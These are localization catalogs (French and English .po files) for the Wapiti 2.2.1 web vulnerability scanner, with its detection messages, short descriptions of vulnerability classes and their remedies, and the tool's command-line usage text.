msgid "Blind SQL Injection (QUERY_STRING) in" msgstr "Injection SQL aveugle (QUERY_STRING) dans" #: ../attack/sqlinjectionattack.py:256 ../attack/sqlinjectionattack.py:257 #: ../attack/sqlinjectionattack.py:263 ../attack/sqlinjectionattack.py:264 #: ../config/vulnerabilities/vulnerabilities.xml:17 #: ../attack/mod_blindsql.py:109 ../attack/mod_blindsql.py:111 #: ../attack/mod_blindsql.py:114 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:117 ../attack/mod_blindsql.py:119 #: ../attack/mod_blindsql.py:121 ../attack/mod_blindsql.py:124 msgid "Blind SQL Injection" msgstr "Injection SQL aveugle" #: ../attack/sqlinjectionattack.py:302 ../attack/mod_blindsql.py:158 #: ../attack/mod_blindsql.py:163 ../attack/mod_blindsql.py:170 msgid "Blind SQL Injection coming from" msgstr "Injection SQL aveugle en provenance de" #: ../attack/sqlinjectionattack.py:303 ../attack/mod_blindsql.py:159 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:171 msgid "Blind SQL Injection in" msgstr "Injection SQL aveugle dans" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/xssattack.py:155 ../attack/mod_xss.py:133 #: ../attack/mod_xss.py:136 ../attack/mod_xss.py:156 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:76 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:103 #: ../attack/mod_permanentxss.py:105 msgid "Found permanent XSS in" msgstr "XSS permanent trouve dans" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/mod_xss.py:133 ../attack/mod_xss.py:136 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:77 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:83 msgid "with" msgstr "avec" #: ../attack/xssattack.py:153 ../attack/mod_xss.py:154 #: ../attack/mod_permanentxss.py:101 ../attack/mod_permanentxss.py:103 msgid "Found permanent XSS attacked by" msgstr "XSS permanent XSS en provenance de" #: ../attack/xssattack.py:154 ../attack/mod_xss.py:155 #: ../attack/mod_permanentxss.py:102 msgid "with field" msgstr "avec le champ" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:107 ../attack/mod_permanentxss.py:110 msgid "attacked by" msgstr "en provenance de" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:104 ../attack/mod_permanentxss.py:107 #: ../attack/mod_permanentxss.py:110 msgid "with fields" msgstr "avec les champs" #: ../attack/xssattack.py:261 ../attack/xssattack.py:266 #: ../attack/xssattack.py:275 ../attack/xssattack.py:278 #: ../attack/xssattack.py:316 ../attack/xssattack.py:321 #: ../attack/xssattack.py:330 ../attack/xssattack.py:333 #: ../attack/xssattack.py:372 ../attack/xssattack.py:377 #: ../attack/xssattack.py:385 ../attack/xssattack.py:388 #: ../attack/xssattack.py:426 ../attack/xssattack.py:431 #: ../attack/xssattack.py:439 ../attack/xssattack.py:442 #: ../attack/xssattack.py:482 ../attack/xssattack.py:487 #: ../attack/xssattack.py:496 ../attack/xssattack.py:499 #: ../attack/mod_xss.py:261 ../attack/mod_xss.py:266 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:281 ../attack/mod_xss.py:319 ../attack/mod_xss.py:324 #: ../attack/mod_xss.py:336 ../attack/mod_xss.py:339 ../attack/mod_xss.py:378 #: ../attack/mod_xss.py:383 ../attack/mod_xss.py:394 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:435 ../attack/mod_xss.py:440 ../attack/mod_xss.py:451 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:494 ../attack/mod_xss.py:499 #: ../attack/mod_xss.py:511 ../attack/mod_xss.py:514 ../attack/mod_xss.py:211 #: ../attack/mod_xss.py:216 ../attack/mod_xss.py:228 ../attack/mod_xss.py:231 #: ../attack/mod_xss.py:269 ../attack/mod_xss.py:274 ../attack/mod_xss.py:286 #: ../attack/mod_xss.py:289 ../attack/mod_xss.py:328 ../attack/mod_xss.py:333 #: ../attack/mod_xss.py:344 ../attack/mod_xss.py:347 ../attack/mod_xss.py:385 #: ../attack/mod_xss.py:390 ../attack/mod_xss.py:401 ../attack/mod_xss.py:404 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:449 ../attack/mod_xss.py:461 #: ../attack/mod_xss.py:464 ../attack/mod_xss.py:265 ../attack/mod_xss.py:270 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:285 ../attack/mod_xss.py:327 #: ../attack/mod_xss.py:332 ../attack/mod_xss.py:267 ../attack/mod_xss.py:272 #: ../attack/mod_xss.py:284 ../attack/mod_xss.py:287 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 ../attack/mod_xss.py:349 #: ../attack/mod_xss.py:275 ../attack/mod_xss.py:280 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:295 msgid "XSS" msgstr "XSS" #: ../attack/xssattack.py:269 ../attack/xssattack.py:324 #: ../attack/xssattack.py:379 ../attack/xssattack.py:433 #: ../attack/xssattack.py:490 ../attack/mod_xss.py:269 #: ../attack/mod_xss.py:327 ../attack/mod_xss.py:385 ../attack/mod_xss.py:442 #: ../attack/mod_xss.py:502 ../attack/mod_xss.py:219 ../attack/mod_xss.py:277 #: ../attack/mod_xss.py:335 ../attack/mod_xss.py:392 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:273 ../attack/mod_xss.py:275 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:283 msgid "Found XSS in" msgstr "XSS trouvé dans" #: ../attack/vulnerabilitiesdescriptions.py:2 msgid "500 HTTP Error code" msgstr "Code d'erreur HTTP 500" #: ../attack/vulnerabilitiesdescriptions.py:3 msgid "500 Error description" msgstr "" "Description du code d'erreur 500Erreur interne au serveur. Le serveur a fait " "face à une situation inattendue qui l'a empêché de traiter convenablement la " "requête." #: ../config/vulnerabilities/vulnerabilities.xml:3 msgid "SQL Injection" msgstr "Injection SQL" #: ../config/vulnerabilities/vulnerabilities.xml:4 msgid "SQL Injection description" msgstr "" "Les injections SQL sont une technique qui exploite une vulnérabilité qui " "s'exécute au sein d'une base de donnée." #: ../config/vulnerabilities/vulnerabilities.xml:5 msgid "SQL Injection solution" msgstr "" "Pour se protéger des injections SQL, les données fournies par les " "utilisateurs ne doivent pas être utilisées telles-quelles dans les requêtes " "SQL mais doivent faire l'objet de vérifications (filtres, échappements) " "approfondies." #: ../config/vulnerabilities/vulnerabilities.xml:18 msgid "Blind SQL Injection description" msgstr "" "Les techniques d'injections SQL en aveugle exploite des vulnérabilités qui " "s'exécutent au sein d'une base de données. Ce type de vulnérabilités est " "plus difficile à détecter en raison de l'absence de messages d'erreur " "renvoyés par l'application web." #: ../config/vulnerabilities/vulnerabilities.xml:19 msgid "Blind SQL Injection solution" msgstr "" "Pour se protéger des injections SQL, les données fournies par les " "utilisateurs ne doivent pas être utilisées telles-quelles dans les requêtes " "SQL mais doivent faire l'objet de vérifications (filtres, échappements) " "approfondies." #: ../config/vulnerabilities/vulnerabilities.xml:31 msgid "File Handling" msgstr "Attaques sur la gestion des fichiers" #: ../config/vulnerabilities/vulnerabilities.xml:32 msgid "File Handling description" msgstr "" "Ces techniques permet à l'attaquant d'accèder à des fichiers auxquels il " "n'est pas sensé accèder car en dehors de la racine du serveur web. En " "utilisant certaines séquences comme '../', il peut remonter dans " "l'arborescence pour ainsi lister des répertoires ou obtenir le contenu de " "fichiers." #: ../config/vulnerabilities/vulnerabilities.xml:33 msgid "File Handling solution" msgstr "" "Ne laissez pas aux utilisateurs la possibilité de choisir une ou plusieurs " "parties du nom d'un fichier ou d'un répertoire. Générez vous même des noms " "aléatoire en cas de création ou utilisez des correspondances en cas de " "templates (un ID numérique correspondant à une chaine de caractères.
    Utilisez des jails chroot et des restrictions d'accès pour limiter le " "nombre de fichiers accessibles par le serveur." #: ../config/vulnerabilities/vulnerabilities.xml:45 msgid "Cross Site Scripting" msgstr "Cross Site Scripting" #: ../config/vulnerabilities/vulnerabilities.xml:46 msgid "Cross Site Scripting description" msgstr "" "Le Cross-site scripting (XSS) est une catégorie de vulnérabilités web qui " "permet d'exécuter du code dans le navigateur des visiteurs du site. Leur " "exploitation peut par exemple permettre le détournement d'une session qui a " "été ouverte sur un site par un utilisateur valide." #: ../config/vulnerabilities/vulnerabilities.xml:47 msgid "Cross Site Scripting solution" msgstr "" "Afin de se protéger des attaques XSS, il faut s'assurer que les données " "retournées dans une page ne contiennent pas certains caractères interprétés " "par le navigateur.
    Certains caractères considérés dangereux peuvent " "être remplacés par leur code d'entité HTML." #: ../config/vulnerabilities/vulnerabilities.xml:59 msgid "CRLF" msgstr "Attaques CRLF" #: ../config/vulnerabilities/vulnerabilities.xml:60 msgid "CRLF description" msgstr "" "Le terme CRLF fait référence à Carriage Return (ASCII 13, \\r) Line Feed " "(ASCII 10, \\n). Dans le protocole HTTP, ces deux caractères à la suite " "permettent entre autres de passer à la ligne d'entête suivante.
    Un " "script qui insère directement dans ses entêtes des données fournies par " "l'utilisateur peut alors se voir injecter des lignes d'entêtes qui seront " "interprétées par le navigateur de la victime." #: ../config/vulnerabilities/vulnerabilities.xml:61 msgid "CRLF solution" msgstr "" "Vérifiez que les couples nom / valeur retournés dans les entêtes HTTP ne " "contiennent pas la suite de caractères CRLF." #: ../config/vulnerabilities/vulnerabilities.xml:73 msgid "Commands execution" msgstr "Exécution de commandes" #: ../config/vulnerabilities/vulnerabilities.xml:74 msgid "Commands execution description" msgstr "" "Ce type d'attaque consiste à faire exécuter des commandes sur le serveur. " "L'attaquant tente d'injecter les commandes dans les paramêtres de requêtes " "qui lui sont accessibles." #: ../config/vulnerabilities/vulnerabilities.xml:75 msgid "Commands execution solution" msgstr "" "Evitez autant que possible de vous servir de données utilisateur dans vous " "appels de commandes." #: ../config/vulnerabilities/vulnerabilities.xml:83 msgid "Resource consumption" msgstr "Epuisement de ressources" #: ../config/vulnerabilities/vulnerabilities.xml:84 msgid "Resource consumption description" msgstr "" "Un attaquant peut faire en sorte que le serveur consomme plus de ressources " "qu'il en utilise en temps normal. Certains défauts de conception peuvent " "rendre une ressource indisponible pendant un laps de temps après son accès. " "En répétant certaines requêtes mal gérées par le serveur ce dernier peut " "arriver à saturation.
    Des faux positifs lors du scan peuvent aussi " "apparaîtrent sous cette catégorie en raison d'un timeout choisi trop faible." #: ../config/vulnerabilities/vulnerabilities.xml:85 msgid "Resource consumption solution" msgstr "" "Alléger les requêtes effectuées par l'application web pour les rendre moins " "gourmandes en utilisation mémoire et CPU." #: ../wapiti.py:481 ../wapiti.py:483 ../net/lswww.py:463 ../net/lswww.py:465 #: ../net/lswww.py:472 ../wapiti.py:436 ../wapiti.py:438 ../net/lswww.py:506 #: ../net/lswww.py:515 ../net/lswww.py:512 ../net/lswww.py:521 #: ../wapiti.py:435 ../wapiti.py:437 ../wapiti.py:440 ../net/lswww.py:471 #: ../net/lswww.py:480 ../wapiti.py:443 ../net/lswww.py:479 #: ../net/lswww.py:488 ../net/lswww.py:481 ../net/lswww.py:490 msgid "File" msgstr "Fichier" #: ../wapiti.py:481 ../wapiti.py:436 ../wapiti.py:435 ../wapiti.py:438 #: ../wapiti.py:441 msgid "loaded, Wapiti will use it to perform the attacks" msgstr "chargé, Wapiti l'utilisera pour ses attaques" #: ../wapiti.py:483 ../net/lswww.py:465 ../net/lswww.py:472 ../wapiti.py:438 #: ../net/lswww.py:515 ../net/lswww.py:521 ../wapiti.py:437 ../wapiti.py:441 #: ../net/lswww.py:480 ../wapiti.py:444 ../net/lswww.py:488 #: ../net/lswww.py:490 msgid "not found, Wapiti will scan again the web site" msgstr "non trouvé, Wapiti va lancer un nouveau scan du site web" #: ../net/lswww.py:463 ../net/lswww.py:506 ../net/lswww.py:512 #: ../net/lswww.py:471 ../net/lswww.py:479 ../net/lswww.py:481 msgid "loaded, the scan continues" msgstr "chargé, le scan continue" #: ../net/lswww.py:506 ../net/lswww.py:489 ../net/lswww.py:496 #: ../net/lswww.py:535 ../net/lswww.py:542 ../net/lswww.py:544 #: ../net/lswww.py:551 ../net/lswww.py:503 ../net/lswww.py:510 #: ../net/lswww.py:511 ../net/lswww.py:518 ../net/lswww.py:513 #: ../net/lswww.py:520 msgid "Notice" msgstr "Note" #: ../net/lswww.py:508 ../net/lswww.py:498 ../net/lswww.py:544 #: ../net/lswww.py:553 ../net/lswww.py:512 ../net/lswww.py:520 #: ../net/lswww.py:522 msgid "Scan stopped, the data has been saved in the file" msgstr "Scan mis en pause, les données ont été sauvées dans le fichier" #: ../wapiti.py:491 ../wapiti.py:446 ../wapiti.py:445 ../wapiti.py:449 #: ../wapiti.py:452 msgid "" "Attack process interrupted. To perform again the attack, lauch Wapiti with " "\"-i\" or \"-k\" parameter." msgstr "" "Le processus d'attaque a été stoppé. Pour le reprendre plus tard, lancez " "Wapiti avec les paramêtres \"-i\" ou \"-k\"." #: ../net/lswww.py:465 ../net/lswww.py:508 ../net/lswww.py:514 #: ../net/lswww.py:473 ../net/lswww.py:481 ../net/lswww.py:483 msgid "URLs to browse" msgstr "URLs à traiter" #: ../net/lswww.py:468 ../net/lswww.py:511 ../net/lswww.py:517 #: ../net/lswww.py:476 ../net/lswww.py:484 ../net/lswww.py:486 msgid "URLs browsed" msgstr "URLs traitées" #: ../net/lswww.py:491 ../net/lswww.py:537 ../net/lswww.py:546 #: ../net/lswww.py:505 ../net/lswww.py:513 ../net/lswww.py:515 msgid "This scan has been saved in the file" msgstr "Cette session de scan a été enregistrée dans le fichier" #: ../net/lswww.py:492 ../net/lswww.py:538 msgid "" "You can use it to perform attacks without scanning again the web site with" msgstr "" "Vous pouvez l'utiliser pour lancer directements les attaques sans avoir à " "scanner le site à nouveau" #: ../attack/mod_permanentxss.py:110 ../attack/mod_permanentxss.py:112 msgid "injected from " msgstr "injecté depuis " #: ../net/lswww.py:538 ../net/lswww.py:547 ../net/lswww.py:506 #: ../net/lswww.py:514 ../net/lswww.py:516 msgid "" "You can use it to perform attacks without scanning again the web site with " "the \"-k\" parameter" msgstr "" "Vous pouvez l'utiliser pour lancer des attaques sans scanner à nouveau le " "siteweb avec le paramêtre \"-k\"" #: ../net/lswww.py:545 ../net/lswww.py:554 ../net/lswww.py:513 #: ../net/lswww.py:521 ../net/lswww.py:523 msgid "" "To continue this scan, you should launch Wapiti with the \"-i\" parameter" msgstr "" "Si vous souhaitez reprendre ce scan, relancez Wapiti avec le paramêtre \"-i\"" #: ../wapiti.py:176 ../wapiti.py:175 ../wapiti.py:178 msgid "Loading modules" msgstr "Chargement des modules" #: ../attack/mod_backup.py:56 ../attack/mod_backup.py:59 #: ../attack/mod_backup.py:65 ../attack/mod_backup.py:68 msgid "Found backup file !" msgstr "Fichier de sauvegarde trouvé !" #: ../attack/mod_backup.py:63 ../attack/mod_backup.py:72 msgid "Backup file found for" msgstr "Fichier de sauvegarde trouvé pour" #: ../config/vulnerabilities/vulnerabilities.xml:103 msgid "Backup file" msgstr "Copie de sauvegarde" #: ../config/vulnerabilities/vulnerabilities.xml:104 msgid "Backup file description" msgstr "" "Il se peut que des copies de sauvegarde de scripts soient accessibles sur le " "serveur. L'administrateur web a du placer volontairement une sauvegarde dans " "l'idée de revenir à une précédente version ou involontairement en utilisant " "un éditeur configuré pour sauver automatiquement une copie après une " "certaine durée.Ces fichiers peuvent révéler des informations intéressantes " "comme du code source ou encore des identifiants (accès à la base de données)." #: ../config/vulnerabilities/vulnerabilities.xml:105 msgid "Backup file solution" msgstr "" "L'administrateur web doit supprimer manuellement les sauvegardes présentes " "sous la racine web et reconfigurer l'éditeur qu'il utilise pour désactiver " "les sauvegardes automatiques." #: ../attack/mod_nikto.py:31 ../attack/mod_nikto.py:32 msgid "Problem with local nikto database." msgstr "" "Un problème a été rencontré lors de la lecture de la base de données Nikto." #: ../attack/mod_nikto.py:32 ../attack/mod_nikto.py:33 msgid "Downloading from the web..." msgstr "Téléchargement depuis le web..." #: ../attack/mod_nikto.py:44 ../attack/mod_nikto.py:45 msgid "Error downloading Nikto database" msgstr "Erreur lors du téléchargement de la base de données Nikto" #: ../attack/mod_nikto.py:151 ../attack/mod_nikto.py:154 #: ../attack/mod_nikto.py:152 ../attack/mod_nikto.py:153 msgid "References:" msgstr "Références :" #: ../config/vulnerabilities/vulnerabilities.xml:113 msgid "Potentially dangerous file" msgstr "Fichiers potentiellement dangereux" #: ../config/vulnerabilities/vulnerabilities.xml:114 msgid "Potentially dangerous file description" msgstr "" "Certains scripts sont connus pour être potentiellement vulnérables et " "dangereux. Des listes de tels fichiers existent et sont fréquemment " "utilisées par des attaquants pour scanner des sites Internet à la recherche " "de ces vulnarébilitées." #: ../config/vulnerabilities/vulnerabilities.xml:115 msgid "Potentially dangerous file solution" msgstr "" "L'administrateur devrait vérifier régulièrement si des mises à jour sont " "disponibles pour les scripts et logiciels utilisés sur le serveur. Il est " "aussi conseillé de se tenir informé sur les nouvelles vulnérabilités " "trouvées en s'abonnant à des listes de sécurité ou en suivant des flux RSS " "spécialisés." #: ../config/vulnerabilities/vulnerabilities.xml:93 msgid "Htaccess Bypass" msgstr "Contournement de protection par htaccess" #: ../config/vulnerabilities/vulnerabilities.xml:94 msgid "Htaccess bypass description" msgstr "" "Les fichiers htaccess permettent de restreindre l'accès a des fichiers ou " "répertoires en fonction d'identifiants ou méthode HTTP utilisés. Si la " "configuration a été mal faite il peut être possible de contourner la " "restriction." #: ../config/vulnerabilities/vulnerabilities.xml:95 msgid "Htaccess bypass solution" msgstr "" "La configuration du htaccess doit être minutieusement vérifiée pour ne pas " "laisser une porte d'entrée à un éventuel attaquant." #: ../wapiti.py:256 ../wapiti.py:259 msgid "Missing dependecies for module" msgstr "Dépendances manquantes pour le module" #: ../wapiti.py:262 ../wapiti.py:265 msgid "Launching module" msgstr "Lancement du module" #: ../attack/mod_htaccess.py:54 msgid "HtAccess protection found:" msgstr "Protection htaccess trouvée :" #: ../attack/mod_htaccess.py:73 ../attack/mod_htaccess.py:76 #: ../attack/mod_htaccess.py:96 ../attack/mod_htaccess.py:99 msgid "Source code:" msgstr "Code source :" #: ../attack/mod_htaccess.py:83 ../attack/mod_htaccess.py:85 msgid ".htaccess bypass vulnerability:" msgstr "Vulnérabilité de contournement de htaccess :" #: ../attack/mod_crlf.py:76 ../attack/mod_crlf.py:84 msgid "CRLF Injection" msgstr "Injection CRLF" #: ../attack/mod_file.py:70 msgid "Remote include" msgstr "Inclusion distante" #: ../attack/mod_sql.py:42 ../attack/mod_sql.py:44 ../attack/mod_sql.py:43 #: ../attack/mod_sql.py:45 msgid "MySQL Injection" msgstr "Injection MySQL" #: ../attack/mod_sql.py:46 ../attack/mod_sql.py:47 msgid "Access-Based SQL Injection" msgstr "Injection sur base Access" #: ../attack/mod_sql.py:48 ../attack/mod_sql.py:50 ../attack/mod_sql.py:52 #: ../attack/mod_sql.py:49 ../attack/mod_sql.py:51 ../attack/mod_sql.py:53 msgid "MSSQL-Based Injection" msgstr "Injection MSSQL" #: ../attack/mod_sql.py:54 ../attack/mod_sql.py:55 msgid "Java.SQL Injection" msgstr "Injection Java.SQL" #: ../attack/mod_sql.py:56 ../attack/mod_sql.py:57 msgid "PostgreSQL Injection" msgstr "Injection PostgreSQL" #: ../attack/mod_sql.py:58 ../attack/mod_sql.py:59 msgid "XPath Injection" msgstr "Injection XPath" #: ../attack/mod_sql.py:60 ../attack/mod_sql.py:61 msgid "LDAP Injection" msgstr "Injection LDAP" #: ../attack/mod_sql.py:62 ../attack/mod_sql.py:63 msgid "DB2 Injection" msgstr "Injection DB2" #: ../attack/mod_sql.py:64 ../attack/mod_sql.py:65 msgid "Interbase Injection" msgstr "Injection Interbase" #: ../attack/mod_sql.py:66 ../attack/mod_sql.py:67 msgid "Sybase Injection" msgstr "Injection Sybase" #: ../attack/mod_exec.py:48 msgid "Command execution" msgstr "Exécution de commande" #: ../attack/mod_exec.py:54 msgid "preg_replace injection" msgstr "Injection par preg_replace" #: ../attack/mod_sql.py:70 msgid "Oracle Injection" msgstr "Injection Oracle" #: ../net/getcookie.py:53 ../net/getcookie.py:125 ../net/cookie.py:42 #: ../net/getcookie.py:57 ../net/getcookie.py:130 ../net/cookie.py:46 msgid "Error getting url" msgstr "Erreur lors de l'ouverture de l'url" #: ../net/getcookie.py:61 ../net/getcookie.py:63 msgid "Error fetching page" msgstr "Erreur lors de la lecture de la page" #: ../net/getcookie.py:75 ../net/getcookie.py:80 msgid "No forms found in this page !" msgstr "Aucun formulaire trouvé dans cette page !" #: ../net/getcookie.py:82 ../net/getcookie.py:87 msgid "Choose the form you want to use :" msgstr "Choisissez le formulaire à utiliser :" #: ../net/getcookie.py:91 ../net/getcookie.py:96 msgid "Enter a number : " msgstr "Entrez un numéro : " #: ../net/getcookie.py:98 ../net/getcookie.py:103 msgid "Please enter values for the folling form :" msgstr "Veuillez entrez les valeurs pour le formulaire :" #: ../attack/mod_crlf.py:90 ../attack/mod_crlf.py:98 msgid "Error: The server did not understand this request" msgstr "Erreur : Le serveur n'a pas compris la requête" #: ../attack/mod_xss.py:329 ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 #: ../attack/mod_xss.py:349 ../attack/mod_xss.py:337 ../attack/mod_xss.py:342 #: ../attack/mod_xss.py:354 ../attack/mod_xss.py:357 msgid "Raw XSS" msgstr "XSS brut" #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:345 msgid "Found raw XSS in" msgstr "XSS brut trouvé dans" wapiti-2.2.1/src/language_sources/en.po0000644000000000000000000013144611316442131016573 0ustar rootroot# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2009-12-29 18:21+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: ../wapiti.py:192 ../wapiti.py:196 ../wapiti.py:244 ../wapiti.py:243 #: ../wapiti.py:246 msgid "No links or forms found in this page !" msgstr "No links or forms found in this page !" #: ../wapiti.py:193 ../wapiti.py:197 ../wapiti.py:245 ../wapiti.py:244 #: ../wapiti.py:247 msgid "Make sure the url is correct." msgstr "Make sure the url is correct." #: ../wapiti.py:199 ../wapiti.py:203 msgid "Attacking urls (GET)" msgstr "Attacking urls (GET)" #: ../wapiti.py:205 ../wapiti.py:209 msgid "Attacking forms (POST)" msgstr "Attacking forms (POST)" #: ../wapiti.py:211 ../wapiti.py:215 msgid "Looking for permanent XSS" msgstr "Looking for permanent XSS" #: ../wapiti.py:216 ../wapiti.py:220 ../wapiti.py:267 ../wapiti.py:266 #: ../wapiti.py:269 msgid "Upload scripts found" msgstr "Upload scripts found" #: ../wapiti.py:226 ../wapiti.py:230 ../wapiti.py:277 ../wapiti.py:276 #: ../wapiti.py:279 msgid "Report" msgstr "Report" #: ../wapiti.py:228 ../wapiti.py:232 ../wapiti.py:279 ../wapiti.py:278 #: ../wapiti.py:281 msgid "A report has been generated in the file" msgstr "A report has been generated in the file" #: ../wapiti.py:230 ../wapiti.py:234 ../wapiti.py:281 ../wapiti.py:280 #: ../wapiti.py:283 msgid "Open" msgstr "Open" #: ../wapiti.py:231 ../wapiti.py:235 ../wapiti.py:282 ../wapiti.py:281 #: ../wapiti.py:284 msgid "with a browser to see this report." msgstr "with a browser to see this report" #: ../wapiti.py:331 ../wapiti.py:335 msgid "attackGET" msgstr "attackGET" #: ../wapiti.py:354 ../wapiti.py:358 msgid "attackPOST" msgstr "attackPOST" #: ../wapiti.py:371 ../wapiti.py:372 ../wapiti.py:344 ../wapiti.py:343 #: ../wapiti.py:346 msgid "wapityDoc" msgstr "" "Wapiti-2.2.1 - A web application vulnerability scanner \n" " \n" " Usage: python wapiti.py http://server.com/base/url/ [options] \n" " \n" " Supported options are: \n" " -s \n" " --start \n" " \tTo specify an url to start with \n" " \n" " -x \n" " --exclude \n" " \tTo exclude an url from the scan (for example logout scripts) \n" " \tYou can also use a wildcard (*) \n" " \tExample : -x http://server/base/?page=*&module=test \n" " \tor -x http://server/base/admin/* to exclude a directory \n" " \n" " -p \n" " --proxy \n" " \tTo specify a proxy \n" " \tExample: -p http://proxy:port/ \n" " \n" " -c \n" " --cookie \n" " \tTo use a cookie \n" " \n" " -t \n" " --timeout \n" " \tTo fix the timeout (in seconds) \n" " \n" " -a \n" " --auth \n" " \tSet credentials for HTTP authentication \n" " \tDoesn't work with Python 2.4 \n" " \n" " -r \n" " --remove \n" " \tRemove a parameter from URLs \n" " \n" " -n \n" " --nice \n" " \tDefine a limit of urls to read with the same pattern \n" " \tUse this option to prevent endless loops \n" " \tMust be greater than 0 \n" " \n" "-m \n" "--module \n" "\tSet the modules and HTTP methods to use for attacks.\n" "\tExample: -m \"-all,xss:get,exec:post\"\n" " \n" " -u \n" " --underline \n" " \tUse color to highlight vulnerables parameters in output \n" " \n" " -v \n" " --verbose \n" " \tSet the verbosity level \n" " \t0: quiet (default), 1: print each url, 2: print every attack \n" " \n" " -b \n" " --scope \n" " \tSet the scope of the scan:\n" " \t\t+ \"page\": to analyse only the page passed in the URL\n" " \t\t+ \"folder\":to analyse all the links to the pages which are in the " "same folder as the URL passed to Wapiti.\n" " \t\t+ \"domain\":to analyse all the links to the pages which are in the " "same domain as the URL passed to Wapiti.\n" " \tIf no scope is set, Wapiti scans all the tree under the given URL.\n" " \n" " -f \n" " --reportType \n" " \tSet the type of the report \n" " \txml: Report in XML format \n" " \thtml: Report in HTML format \n" " \ttxt: Report in plain text \n" " \n" " -o \n" " --output \n" " \tSet the name of the report file \n" " \tIf the selected report type is 'html', this parameter must be a " "directory \n" " \n" " -i \n" " --continue \n" " \tThis parameter indicates Wapiti to continue with the scan from the " "specified file, this file should contain data from a previous scan.\n" " \tThe file is optional, if it is not specified, Wapiti takes the default " "file from the \"scans\" folder.\n" " \n" " -k \n" " --attack \n" " \tThis parameter indicates Wapiti to perform attacks without scanning again " "the website and following the data of this file.\n" " \tThe file is optional, if it is not specified, Wapiti takes the default " "file from the \"scans\" folder.\n" " \n" " -h \n" " --help \n" " \tTo print this usage message" #: ../wapiti.py:452 ../wapiti.py:475 ../wapiti.py:428 ../wapiti.py:427 #: ../wapiti.py:429 ../wapiti.py:432 msgid "Wapiti-2.2.1 (wapiti.sourceforge.net)" msgstr "Wapiti-2.2.1 (wapiti.sourceforge.net)" #: ../net/lswww.py:138 ../net/lswww.py:161 ../net/lswww.py:143 #: ../net/lswww.py:167 ../net/lswww.py:151 ../net/lswww.py:183 #: ../net/lswww.py:152 ../net/lswww.py:184 ../net/lswww.py:139 #: ../net/lswww.py:171 ../net/lswww.py:170 msgid "Invalid link argument" msgstr "Invalid link argument" #: ../net/lswww.py:471 ../net/lswww.py:519 ../net/lswww.py:509 #: ../net/lswww.py:556 ../net/lswww.py:565 ../net/lswww.py:524 #: ../net/lswww.py:532 ../net/lswww.py:534 msgid "URLs" msgstr "URLs" #: ../net/lswww.py:478 ../net/lswww.py:526 ../net/lswww.py:516 #: ../net/lswww.py:563 ../net/lswww.py:572 ../net/lswww.py:531 #: ../net/lswww.py:539 ../net/lswww.py:541 msgid "Forms Info" msgstr "Forms Info" #: ../net/lswww.py:480 ../net/lswww.py:528 ../net/lswww.py:518 #: ../net/lswww.py:565 ../net/lswww.py:574 ../net/lswww.py:533 #: ../net/lswww.py:541 ../net/lswww.py:543 msgid "From" msgstr "From" #: ../net/lswww.py:481 ../net/lswww.py:529 ../net/lswww.py:519 #: ../net/lswww.py:566 ../net/lswww.py:575 ../net/lswww.py:534 #: ../net/lswww.py:542 ../net/lswww.py:544 msgid "To" msgstr "To" #: ../net/lswww.py:489 ../net/lswww.py:537 ../net/lswww.py:527 #: ../net/lswww.py:574 ../net/lswww.py:583 ../net/lswww.py:542 #: ../net/lswww.py:550 ../net/lswww.py:552 msgid "Upload Scripts" msgstr "Upload Scripts" #: ../net/lswww.py:676 ../net/lswww.py:724 ../net/lswww.py:722 #: ../net/lswww.py:769 ../net/lswww.py:783 ../net/lswww.py:736 #: ../net/lswww.py:744 ../net/lswww.py:746 msgid "Forms" msgstr "Forms" #: ../net/lswww.py:679 ../net/lswww.py:727 ../net/lswww.py:725 #: ../net/lswww.py:772 ../net/lswww.py:786 ../net/lswww.py:739 #: ../net/lswww.py:747 ../net/lswww.py:749 msgid "Form" msgstr "Form" #: ../net/lswww.py:683 ../net/lswww.py:731 ../net/lswww.py:729 #: ../net/lswww.py:776 ../net/lswww.py:790 ../net/lswww.py:743 #: ../net/lswww.py:751 ../net/lswww.py:753 msgid "Method" msgstr "Method" #: ../net/lswww.py:684 ../net/lswww.py:732 ../net/lswww.py:730 #: ../net/lswww.py:777 ../net/lswww.py:791 ../net/lswww.py:744 #: ../net/lswww.py:752 ../net/lswww.py:754 msgid "Intputs" msgstr "Inputs" #: ../net/lswww.py:689 ../net/lswww.py:737 ../net/lswww.py:735 #: ../net/lswww.py:782 ../net/lswww.py:796 ../net/lswww.py:749 #: ../net/lswww.py:757 ../net/lswww.py:759 msgid "Selects" msgstr "Selects" #: ../net/lswww.py:694 ../net/lswww.py:742 ../net/lswww.py:740 #: ../net/lswww.py:787 